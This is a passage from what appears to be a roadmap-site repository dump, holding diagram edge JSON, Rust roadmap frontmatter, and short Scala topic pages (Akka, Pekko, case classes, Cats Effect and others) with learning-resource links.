\"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__zLKbYX0nnbfD5n3P_JRaSz2-_hxwo_iAdOwlWBltv7i6iy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eTpZXd8E2jVBmk_aSLZYV\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"Kb7KF7JCMaWFz-GuaQmQV\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__eTpZXd8E2jVBmk_aSLZYVw2-Kb7KF7JCMaWFz-GuaQmQVx1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eTpZXd8E2jVBmk_aSLZYV\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KomYBYxj0FTrJDYB3nU5B\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__eTpZXd8E2jVBmk_aSLZYVx2-WduD9VIcYSs_JTnuMNyxkw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KomYBYxj0FTrJDYB3nU5B\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"n5t3MUqmvrcr36VIIOw0u\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__WduD9VIcYSs_JTnuMNyxkz2-n5t3MUqmvrcr36VIIOw0uy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KomYBYxj0FTrJDYB3nU5B\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"duQ1RO1lqq793mfb5w31P\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__WduD9VIcYSs_JTnuMNyxkz2-duQ1RO1lqq793mfb5w31Py1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KomYBYxj0FTrJDYB3nU5B\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ApjwY_70OGG_dNIC85oBD\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__WduD9VIcYSs_JTnuMNyxkz2-ApjwY_70OGG_dNIC85oBDy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KomYBYxj0FTrJDYB3nU5B\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"yu0f5gALho0e8wzV10yow\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__KomYBYxj0FTrJDYB3nU5Bx2-WduD9VIcYSs_JTnuMNyxkw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yu0f5gALho0e8wzV10yow\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3pL0ARqk8uRNimopHSalW\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__yu0f5gALho0e8wzV10yowz2-WduD9VIcYSs_JTnuMNyxky1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3pL0ARqk8uRNimopHSalW\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gcmKSLWfBqx4aPZOmyQsg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__3pL0ARqk8uRNimopHSalWz2-WduD9VIcYSs_JTnuMNyxky1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gcmKSLWfBqx4aPZOmyQsg\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_n7emeqzf5UTxVB5-385G\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__gcmKSLWfBqx4aPZOmyQsgx2-WduD9VIcYSs_JTnuMNyxkw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_n7emeqzf5UTxVB5-385G\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Rv_Z-rbtELPZ1Nv0PZQmV\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge___n7emeqzf5UTxVB5-385Gy2-WduD9VIcYSs_JTnuMNyxkz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Rv_Z-rbtELPZ1Nv0PZQmV\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2Zyyf9q_CxmOW-z2pipL8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Rv_Z-rbtELPZ1Nv0PZQmVy2-WduD9VIcYSs_JTnuMNyxkw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2Zyyf9q_CxmOW-z2pipL8\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"uG-EmZVZ-jc3mswOT4-7l\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__2Zyyf9q_CxmOW-z2pipL8x2-WduD9VIcYSs_JTnuMNyxkw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uG-EmZVZ-jc3mswOT4-7l\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"T1LlJz5m5wnwBvKAEuGnP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__uG-EmZVZ-jc3mswOT4-7lz2-WduD9VIcYSs_JTnuMNyxky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"T1LlJz5m5wnwBvKAEuGnP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RKXljexmLAceMYwg4D_uP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__T1LlJz5m5wnwBvKAEuGnPz2-WduD9VIcYSs_JTnuMNyxky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RKXljexmLAceMYwg4D_uP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"fusu4ZHH4-cjoouLr4F9U\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__RKXljexmLAceMYwg4D_uPx2-WduD9VIcYSs_JTnuMNyxkw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fusu4ZHH4-cjoouLr4F9U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"iyFHvZj_ntr_dX6WlL4E1\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__WduD9VIcYSs_JTnuMNyxky2-iyFHvZj_ntr_dX6WlL4E1z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fusu4ZHH4-cjoouLr4F9U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TSlj7mMUB5CDTy8uMFzKV\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__WduD9VIcYSs_JTnuMNyxky2-TSlj7mMUB5CDTy8uMFzKVz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fusu4ZHH4-cjoouLr4F9U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SUtBBqqDeR_yAkr669ZvE\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__WduD9VIcYSs_JTnuMNyxky2-SUtBBqqDeR_yAkr669ZvEz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fusu4ZHH4-cjoouLr4F9U\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7YKWYxogJq6X35IAUwcZF\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__fusu4ZHH4-cjoouLr4F9Ux2-WduD9VIcYSs_JTnuMNyxkw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7YKWYxogJq6X35IAUwcZF\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"65nbahPj9qAb9y8dF8Jnd\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__7YKWYxogJq6X35IAUwcZFy2-WduD9VIcYSs_JTnuMNyxkz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"65nbahPj9qAb9y8dF8Jnd\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"WduD9VIcYSs_JTnuMNyxk\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__65nbahPj9qAb9y8dF8Jndy2-WduD9VIcYSs_JTnuMNyxkz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WduD9VIcYSs_JTnuMNyxk\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"clQ26LFV_9AdQ4evnaxUK\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__WduD9VIcYSs_JTnuMNyxkw2-clQ26LFV_9AdQ4evnaxUKx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"65nbahPj9qAb9y8dF8Jnd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__65nbahPj9qAb9y8dF8Jndx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/rust/rust.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/rust.json'\npdfUrl: '/pdfs/roadmaps/rust.pdf'\norder: 11\nbriefTitle: 'Rust'\nbriefDescription: 'Step by step guide to becoming a Rust developer in 2025'\ntitle: 'Rust Developer'\ndescription: 'Step by step guide to becoming a Rust developer in 2025'\nhasTopics: true\nisNew: false\nrenderer: 'editor'\ndimensions:\n  width: 968\n  height: 3120\nschema:\n  headline: 'Rust Developer Roadmap'\n  description: 'Learn how to become a Rust Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/rust.png'\n  datePublished: '2023-11-14'\n  dateModified: '2023-11-14'\nseo:\n  title: 'Learn to become a Rust developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for Rust development. Learn to become a modern Rust developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a rust developer'\n    - 'rust developer'\n    - 'guide to rust'\n    - 'rust roadmap'\n    - 'rust roadmap 2024'\n    - 'rust roadmap 2025'\n    - 'rustlang roadmap'\n    - 'rustlang roadmap 2025'\n    - 'rust skills'\n    - 'rust skills test'\n    - 'skills for rust'\n    - 'cloud development'\n    - 'what is rust'\n    - 'rust quiz'\n    - 'rust interview questions'\nrelatedRoadmaps:\n  - 'backend'\n  - 'devops'\n  - 'golang'\n  - 'nodejs'\n  - 'cpp'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/scala/content/akka--pekko@vsfwt3tvLDhJoRyA82bM1.md",
    "content": "# Akka / Pekko\n\nAkka and Pekko are toolkits for building concurrent, distributed, and resilient applications on the JVM using Scala. Akka, originally developed by Lightbend, introduced an actor model for managing concurrency, inspired by Erlang. It provides abstractions for building scalable and fault-tolerant systems. Pekko is an open-source fork of Akka, created after Akka's licensing changes, and continues to provide similar functionality under the Apache License. Both toolkits support the actor model, which simplifies the development of highly concurrent and distributed applications. They also offer additional modules for HTTP, streaming, clustering, and persistence, making them suitable for a wide range of applications, from microservices to large-scale distributed systems. Resources\n\nVisit the following resources to learn more:\n\n- [@course@Akka/Pekko Essentials Course on Rock the JVM](https://rockthejvm.com/courses/akka-apache-pekko-essentials-with-scala)\n- [@official@Apache Pekko Official Website](https://pekko.apache.org/)\n- [@article@Akka Documentation on Wikipedia](https://en.wikipedia.org/wiki/Akka_(toolkit))\n- [@article@Introduction to Apache Pekko on Baeldung](https://www.baeldung.com/scala/apache-pekko)"
  },
  {
    "path": "src/data/roadmaps/scala/content/akka--peko-streams@g1CpD832hLdZruCtNf7SX.md",
    "content": "# Akka & Pekko Streams\n\nAkka Streams, now succeeded by Pekko Streams, provide a powerful way to handle streams of data reactively and efficiently. These libraries offer tools to define data processing pipelines with backpressure, ensuring that data flows smoothly between components without overwhelming any part of the system. Think of it as an assembly line for data, where each stage performs a specific operation, and the system as a whole adapts to varying rates of input.\n\nVisit the following resources to learn more:\n\n- [@official@Pekko Streams Cookbook](https://pekko.apache.org/docs/pekko/current/stream/stream-cookbook.html)\n- [@article@Guide to Akka Streams on Baeldung](https://www.baeldung.com/akka-streams)\n- [@article@Introduction to Akka Streams on Medium](https://arcagarwal.medium.com/introduction-to-akka-streams-5155bd070e37)\n- [@article@Akka/Apache Pekko Streams with Scala on Rock the JVM](https://rockthejvm.com/courses/akka-apache-pekko-streams-with-scala)"
  },
  {
    "path": "src/data/roadmaps/scala/content/akka@bXliqiEXUKvqlJ391hHE1.md",
    "content": "# Akka\n\nAkka is a suite of modules designed for building scalable, resilient, and distributed systems using the actor model. It simplifies concurrency and fault tolerance by providing a framework for handling asynchronous operations and message passing. Akka is particularly well-suited for developing systems that require high availability and scalability.\n\nVisit the following resources to learn more:\n\n- [@article@Akka Tutorials on All About Scala](https://allaboutscala.com/scala-frameworks/akka/)\n- [@article@Introductory Guide to Akka on Toptal](https://www.toptal.com/scala/concurrency-and-fault-tolerance-made-easy-an-intro-to-akka)\n- [@course@Akka Classic Essentials with Scala on Udemy](https://www.udemy.com/course/akka-essentials/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/akkahttp@82TpZ2W8LJBEEEjTo8_kD.md",
    "content": "# Akka HTTP\n\nAkka HTTP is a modern, fast, asynchronous, and streaming-first HTTP server and client. It implements a full server- and client-side HTTP stack on top of akka-actor and akka-stream. Akka HTTP is not a web framework but rather a toolkit for providing and consuming HTTP-based services. It offers a flexible “Routing DSL” for defining RESTful web services and provides functionality for typical web servers, such as deconstructing URIs, content negotiation, and static content serving.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Akka HTTP | Baeldung](https://www.baeldung.com/akka-http)\n- [@article@Introduction to Akka HTTP in Scala | Baeldung on Scala](https://www.baeldung.com/scala/akka-http)\n- [@article@Sending HTTP Requests in 5 Minutes With Scala and Akka HTTP](https://dzone.com/articles/sending-http-requests-in-5-mins-with-scala-and-akk)"
  },
  {
    "path": "src/data/roadmaps/scala/content/anonymous-func--lambda@jkV_FWlv79nxyNiT_WFOr.md",
    "content": "# Anonymous Functions / Lambdas\n\nAnonymous functions, also known as lambdas, are functions without names. You define them inline where you need them, typically to pass them as arguments to other functions. They're essentially a concise way to represent small, single-expression functions. Scala uses a special syntax to define them, making it easy to create functions on the fly.\n\nVisit the following resources to learn more:\n\n- [@official@Anonymous Functions | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/fun-anonymous-functions.html)\n- [@article@Lambda Expressions in Scala | Baeldung on Scala](https://www.baeldung.com/scala/lambda-expressions)\n- [@article@Anonymous Functions in Scala: How to Use Lambda Functions Effectively](https://www.developerindian.com/articles/anonymous-functions-in-scala-how-to-use-lambda-functions-effectively)"
  },
  {
    "path": "src/data/roadmaps/scala/content/apply-method@v6KrScCfuNH8i1aTBGVI4.md",
    "content": "# The apply method\n\nThe apply function is a so-called smart constructor. It's the most popular way in Scala to create new instances of data types. It's more flexible than a standard constructor because it allows for running certain logic before deciding whether an instance should be created, and, if yes, it can create an instance of a certain subtype while returning it as an instance of a supertype.\n\nVisit the following resources to learn more:\n\n- [@official@Universal Apply Methods](https://docs.scala-lang.org/scala3/reference/other-new-features/creator-applications.html)\n- [@article@What is the apply function in Scala? - Stack Overflow](https://stackoverflow.com/questions/9737352/what-is-the-apply-function-in-scala)\n- [@article@Apply Method in Scala | Baeldung on Scala](https://www.baeldung.com/scala/apply-method)"
  },
  {
    "path": "src/data/roadmaps/scala/content/array@D_2hxCGaYnaQf1Tu0Y-ty.md",
    "content": "# Array\n\nAn array is a fixed-size data structure that stores elements of the same data type. Arrays in Scala are mutable, meaning their elements can be updated. Arrays provide fast and constant-time access to elements based on their indices.\n\nVisit the following resources to learn more:\n\n- [@official@Arrays | Collections (Scala 2.8 - 2.12) | Scala Documentation](https://docs.scala-lang.org/overviews/collections/arrays.html)\n- [@article@Guide to Arrays in Scala | Baeldung on Scala](https://www.baeldung.com/scala/arrays-guide)"
  },
  {
    "path": "src/data/roadmaps/scala/content/backend@RpAAmXmhMgIhuzgRBFcPj.md",
    "content": "# Backend\n\nBackend software development in the context of programming in Scala involves creating and maintaining the server-side components of applications that handle business logic, data processing, and communication with databases or other services. Frameworks like Akka, Play, and http4s are commonly used in the Scala ecosystem to build high-performance backend services. These tools leverage Scala's strengths to provide solutions that are both maintainable and capable of handling the demands of modern web applications."
  },
  {
    "path": "src/data/roadmaps/scala/content/books@kXP-YrnwQ1zPuBuTHA35l.md",
    "content": "# Books\n\nBooks offer a structured and comprehensive way to learn a new programming language. They typically cover fundamental concepts in detail, building upon previous knowledge to provide a solid understanding. Good books often include examples, exercises, and practice problems that allow you to reinforce what you've learned and apply it to real-world scenarios. They're often curated and reviewed, providing reliable and accurate information.\n\nVisit the following resources to learn more:\n\n- [@book@Hands-on Scala](https://www.handsonscala.com/)\n- [@book@Programming Scala, 3rd Edition](https://www.oreilly.com/library/view/)\n- [@book@Programming in Scala, Fifth Edition](https://www.artima.com/shop/programming_in_scala_5ed)\n- [@book@Scala for the Impatient](https://horstmann.com/scala/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/booleans@bOSckrStDRgoLAGWi6QfZ.md",
    "content": "# Booleans\n\nBooleans represent truth values: either `true` or `false`. They are fundamental for decision-making in programs, allowing you to control the flow of execution based on conditions. You use booleans with logical operators like `&&` (and), `||` (or), and `!` (not) to create more complex expressions that evaluate to either `true` or `false`. These are often used in conditional statements (like `if` and `else`) and loops."
  },
  {
    "path": "src/data/roadmaps/scala/content/build-tools@TYW3j_DfD6DsrHE6MjJ8N.md",
    "content": "# Build Tools\n\nBuild tools automate tasks like compiling code, running tests, and packaging applications. They streamline the development process and ensure consistency across projects. In the Scala ecosystem, popular build tools include `scalacli`, a newer option emphasizing simplicity and speed, `sbt`, a widely used and powerful tool with a large plugin ecosystem, and `mill`, known for its fast builds and reliance on Scala itself for configuration."
  },
  {
    "path": "src/data/roadmaps/scala/content/by-name-parameters@_GMHFAt8BulTAb9msdUb9.md",
    "content": "# By-name parameters\n\nBy-name parameters are defined using the => symbol before the parameter type. Such a parameter will be evaluated only when it is used inside the method's body. You can think of it as syntactic sugar over a zero-parameter function passed to a method.\n\nVisit the following resources to learn more:\n\n- [@official@By-name Parameters | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/by-name-parameters.html)\n- [@article@How to Use By-Name Parameters in Scala | alvinalexander.com](https://alvinalexander.com/scala/fp-book/how-to-use-by-name-parameters-scala-functions/)\n- [@article@By-Name Parameters in Scala](https://tpolecat.github.io/2014/06/26/call-by-name.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/calico@tMM4YlW3c3e8HYW16SOqS.md",
    "content": "# Calico\n\nCalico is a pure, reactive UI library for Scala.js. It enables developers to build reactive web applications using Scala.js, integrating with libraries such as Cats Effect and FS2.\n\nVisit the following resources to learn more:\n\n- [@opensource@Calico GitHub Repository](https://github.com/armanbilge/calico)"
  },
  {
    "path": "src/data/roadmaps/scala/content/capabilities@kRM_HTRUvZ7xXjffu53Aw.md",
    "content": "# Capabilities\n\nScala 3 introduces a new feature called \"capabilities\" as an alternative way to model effects. In short, a capability is an implicit function passed as a parameter. The function that requires a capability as a parameter declares in this way, that it will only work if in its scope is a capability to perform a certain task.\n\nVisit the following resources to learn more:\n\n- [@article@https://nrinaudo.github.io/articles/capabilities.html](https://nrinaudo.github.io/articles/capabilities.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/capture-checking@kbO0eO3UhUzPGaPvZKc_N.md",
    "content": "# Capture checking\n\nCapture Checking is an experimental feature in Scala that allows you to track which designated values are captured (i.e., stored as references) by arbitrary other values. This tracking happens at compile time and is currently an opt-in mechanism that can be enabled via an import. Capture checking helps ensure resource safety and prevent capability leakage by verifying at compile-time that capabilities (representing resources, effects, or permissions) are properly managed and do not escape their intended scope.\n\nVisit the following resources to learn more:\n\n- [@official@Capture Checking](https://docs.scala-lang.org/scala3/reference/experimental/cc.html)\n- [@article@Understanding Capture Checking in Scala | SoftwareMill](https://softwaremill.com/understanding-capture-checking-in-scala/)\n- [@article@Capture Checking Basics](https://nightly.scala-lang.org/docs/reference/experimental/capture-checking/basics.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/case-classes@EnTEDC1dzHf6H7P73Tlv5.md",
    "content": "# Case classes\n\nCase classes are a special type of class that is particularly useful for modeling immutable data. They provide several conveniences over regular classes, including immutability, several synthetic methods like toString, equals, and copy, as well as synthetic apply and unapply methods, which make case classes very useful for pattern matching.\n\nVisit the following resources to learn more:\n\n- [@official@Case Classes | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/case-classes.html)\n- [@official@Case Classes | Scala Book | Scala Documentation](https://docs.scala-lang.org/overviews/scala-book/case-classes.html)\n- [@article@Difference Between Class and Case Class in Scala | Baeldung on Scala](https://www.baeldung.com/scala/case-class)"
  },
  {
    "path": "src/data/roadmaps/scala/content/case-objects@0dptTJpHmNf_Nyo-ib20m.md",
    "content": "# Case Objects\n\nCase objects are similar to regular Scala objects but with additional features that they share with case classes - immutable and with synthetic methods. They are often used for creating singleton objects and are particularly useful in pattern matching and message passing.\n\nVisit the following resources to learn more:\n\n- [@official@Case Objects | Scala Book | Scala Documentation](https://docs.scala-lang.org/overviews/scala-book/case-objects.html)\n- [@article@Difference between case object and object - Stack Overflow](https://stackoverflow.com/questions/5270752/difference-between-case-object-and-object)\n- [@article@Difference Between Case Object and Object | Baeldung on Scala](https://www.baeldung.com/scala/case-object-vs-object)"
  },
  {
    "path": "src/data/roadmaps/scala/content/category-theory@1mSU2_4W0bAMAph5jf7KC.md",
    "content": "# Category Theory\n\nCategory Theory is a branch of mathematics that deals with structures and relationships between them. In the context of Scala and functional programming, Category Theory provides a framework for understanding and designing functional programs. Key concepts include categories, functors, monads, and natural transformations, which are essential for writing maintainable functional code.\n\nVisit the following resources to learn more:\n\n- [@article@\"Category Theory for Programmers\" by Bartosz Milewski](https://bartoszmilewski.com/2014/10/28/category-theory-for-programmers-the-preface/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/cats-effect@GJVtKkllXuiMqUb3K7mUc.md",
    "content": "# Cats Effect\n\nCats Effect is a high-performance, asynchronous, composable framework for building real-world applications in a purely functional style within the Typelevel ecosystem. It provides a concrete tool, known as \"the IO monad,\" for capturing and controlling actions, often referred to as \"effects,\" that your program wishes to perform within a resource-safe, typed context with seamless support for concurrency and coordination. Cats Effect is designed to be fast, reliable, and community-driven, offering strong guarantees and functionality for managing resources, handling concurrency, and ensuring program safety.\n\nVisit the following resources to learn more:\n\n- [@official@Cats Effect · The pure asynchronous runtime for ScalaGitHub - typelevel/cats-effect: The pure asynchronous runtime for Scala](https://typelevel.org/cats-effect/)\n- [@article@Learning Cats Effects - Undertstanding Effects 😼 | by Francisco Perrotta | Medium](https://github.com/typelevel/cats-effect)\n- [@article@Resource Handling in Cats Effect | Baeldung on Scala](https://www.baeldung.com/scala/cats-effect-resource-handling)"
  },
  {
    "path": "src/data/roadmaps/scala/content/cats@5A-62SFAXUd4OAEGd_RRz.md",
